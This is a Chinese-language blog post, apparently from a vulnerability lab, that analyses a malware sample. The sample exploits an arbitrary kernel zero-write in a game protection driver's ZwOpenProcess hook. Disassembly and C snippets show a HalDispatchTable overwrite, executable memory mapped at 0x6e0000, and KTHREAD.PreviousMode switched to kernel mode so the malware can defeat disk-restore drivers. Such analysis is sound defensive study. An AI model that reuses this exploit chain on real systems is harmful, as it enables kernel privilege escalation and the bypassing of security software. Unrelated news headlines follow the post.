驱动漏洞提权执行内核代码样本分析学习
上篇讲到 恶意样本绕过驱动防火墙机制 ,接下来讲下样本是如何利用该驱动漏洞进行内核提权的,错误的地方还请斧正。
目前网吧为了防止木马病毒,绝大部分安装了系统还原软件,通过首先获取的R0权限,拦截未知的驱动,这样的话,想过还原的木马无法获取0环权限,当然无法与运行在0环的磁盘还原驱动对抗了,但主动防御是不会拦截游戏保护驱动的正常加载, 要是这个也拦截, 估计这网吧也没人去玩了。
目前相当大一部分能过还原木马程序都是通过能正常加载的游戏保护驱动的漏洞,达到提权,执行内核代码来对抗磁盘还原。
前段时间朋友给了个样本,分析了一下,该样本就是通过国内某个大型游戏厂商一个很老的驱动漏洞提权执行内核代码,绕过主防,加载过还原驱动。
该驱动,通过修改SSDT,HOOK ZwOpenProcess函数,HOOK的过程这里忽略。
下面是该HOOK的ZwOpenProcess函数的处理与漏洞产生的原因:
NTSTATUS __stdcall Hook_ZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId).text:00010B7A Hook_ZwOpenProcess proc near ; DATA XREF: sub_10BDE+36o.text:00010B7A.text:00010B7A ProcessHandle= dword ptr 8.text:00010B7A DesiredAccess= dword ptr 0Ch.text:00010B7A ObjectAttributes= dword ptr 10h.text:00010B7A ClientId= dword ptr 14h.text:00010B7A.text:00010B7A push ebp.text:00010B7B mov ebp, esp.text:00010B7D push edi.text:00010B7E call PsGetCurrentProcessId.text:00010B83 mov edi, [ebp+ClientId].text:00010B86 cmp eax, [edi].text:00010B88 jz short loc_10BC8.text:00010B8A push ebx.text:00010B8B push esi.text:00010B8C mov esi, offset SpinLock.text:00010B91 mov ecx, esi ; SpinLock.text:00010B93 call ds:KfAcquireSpinLock.text:00010B99 push 0.text:00010B9B push dword ptr [edi].text:00010B9D mov bl, al.text:00010B9F push offset dword_10D8C.text:00010BA4 call sub_109DE.text:00010BA9 mov dl, bl ; NewIrql.text:00010BAB mov ecx, esi ; SpinLock.text:00010BAD mov [ebp+ClientId], eax.text:00010BB0 call ds:KfReleaseSpinLock.text:00010BB6 cmp [ebp+ClientId], 0.text:00010BBA pop esi.text:00010BBB pop ebx.text:00010BBC jz short loc_10BC8.text:00010BBE mov eax, [ebp+ProcessHandle].text:00010BC1 and [ebp+DesiredAccess], 0FFFFFFC7h.text:00010BC5 and dword ptr [eax], 0; 如果是保护的进程,; ProcessHandle清0,; 那下面调用系统真正的ZwOpenProcess将失败。; 但是没有检查传入的地址是否大于0x80000000,; 产生内核任意地址写0的漏洞.text:00010BC8 loc_10BC8: ; CODE XREF: 、.text:00010BC8 ; Hook_ZwOpenProcess+42j.text:00010BC8 push edi ; _DWORD.text:00010BC9 push [ebp+ObjectAttributes] ; _DWORD.text:00010BCC push [ebp+DesiredAccess] ; _DWORD.text:00010BCF push [ebp+ProcessHandle] ; _DWORD.text:00010BD2 call Sys_ZwOpenProcess.text:00010BD8 pop edi.text:00010BD9 pop ebp.text:00010BDA retn 10h.text:00010BDA Hook_ZwOpenProcess endp
可以很容易看出是一个内核任意地址清0的漏洞,下面是对该漏洞的利用,使用最常见的通过HalDispatchTable来利用。
能被利用的原因:
用户调用ZwQueryIntervalProfile函数最终将调用内核KeQueryIntervalProfile, 在KeQueryIntervalProfile函数中会调用HalQuerySystemInformation,如下图:
off_8054683C地址保存的是HalDispatchTable结构
在WINDBG中查看当前虚拟机中0×8054683C的数据:
红色框中的是HalQuerySystemInformation地址。
通过将HalDispatchTable地址-2和HalDispatchTable地址+3的4字节清0,可以获取一个用户层的地址,我的虚拟机上该地址是0×6e0000,如下图:
这样的话,用户的程序在调用ZwQueryIntervalProfile函数的时候,就能跳到0×6e0000地址执行。
现在需要下面3个条件:
1. 获取HalDispatchTable地址。
2. 获取HalQuerySystemInformation的地址。
3. 申请HalQuerySystemInformation地址& 0xff0000的地址当中转站,跳到真正需要执行的函数。
第1个条件:
获取本机内核模块HalDispatchTable的地址:
通过LoadLibraryExA装载ntkrnlpa.exe模块到自身进程, 注意LoadLibraryExA函数的第3个参数,并获取HalDispatchTable导出函数的地址:
HMODULE hMode = LoadLibraryExA(“ntkrnlpa.exe”, NULL, DONT_RESOLVE_DLL_REFERENCES);if (NULL != hMode){DWORD dwHalDispatchTable = (DWORD)GetProcAddress(hMode, "HalDispatchTable");if (0 != dwHalDispatchTable){dwHalDispatchTable -= (DWORD)hMode;dwHalDispatchTable += 0x804D8000;dwHalDispatchTable += 4;}}
第2个条件:
通过LoadLibraryExA装载hal.dll模块到自身进程,获取导出函数HalInitSystem, 在HalInitSystem函数中有对HalDispatchTable的初始化。
通过特征码搜索HalInitSystem函数,获取HalQuerySystemInformation函数的地址后,得到在模块中的偏移,再加上hal.dll在系统中的偏移,hal.dll在系统中的偏移,可以通过ZwQuerySystemInformation枚举获得。
HMODULE hMod = LoadLibraryExA("hal.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);if (NULL != hMod){DWORD dwAddr = 0;BYTE* lpAddr = (BYTE*)GetProcAddress(hMod, "HalInitSystem");BYTE sz[] = {0xc7, 0x40, 0x4};for (int i = 0; i < 0x500; i++) //搜索特征码{if (0 == memcmp(&lpAddr[i], sz, 3)){dwAddr = i + (DWORD)lpAddr + 3;break;}}dwAddr = *(DWORD*)dwAddr;FreeLibrary(hMod);DWORD dwBase = GetHalBase();if (0 != dwBase){dwAddr += dwBase;dwAddr -= (DWORD)hMod;dwAddr &= 0xff0000;}}
第3个条件:
通过VirtualAlloc函数来的第一个参数来设置需要申请的地址空间。代码如下:
MEMORY_BASIC_INFORMATION em = {0};VirtualQuery((void*)dwHalDispatchTableAddr, &em, sizeof(MEMORY_BASIC_INFORMATION));if (MEM_MAPPED == em.Type){UnmapViewOfFile(em.AllocationBase); //如果这个地址占用,先释放掉。}BYTE* lpJmpCode = (BYTE*)VirtualAlloc((void*)0x6e0000, 0x1000,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请可读写执行属性的内存
在windbg中下段,调用ZwQueryIntervalProfile后,看到这里断下的地方。
0×8054683c的数据已经被修改成0×6e0000
F11跟进:
开始执行提权的代码了:
保证执行完提权代码后,能正常跳回去的函数。
取KTHREAD结构地址,获取KTHREAD.PreviousMode,并修改KTHREAD.PreviousMode为内核模式。这样就权限与磁盘还原驱动做对抗了。
写在最后,没什么了,亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。
–EOF
by CString of code audit labs of vulnhunt.com
http://blog.vulnhunt.com/index.php/2013/12/19/kernel_exploit_learn_analysis/
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 01-06马斯克宣布Grok 3即将推出,计算量大幅提升
- 01-06XR市场迎新变局,国内相关企业蓬勃发展
- 01-06盒马新任CEO发全员信 将冲击千亿规模
- 01-06加速AI基础设施投资,微软计划斥资800亿美元
- 01-06雷军透露小米汽车工厂开放参观预约,2025年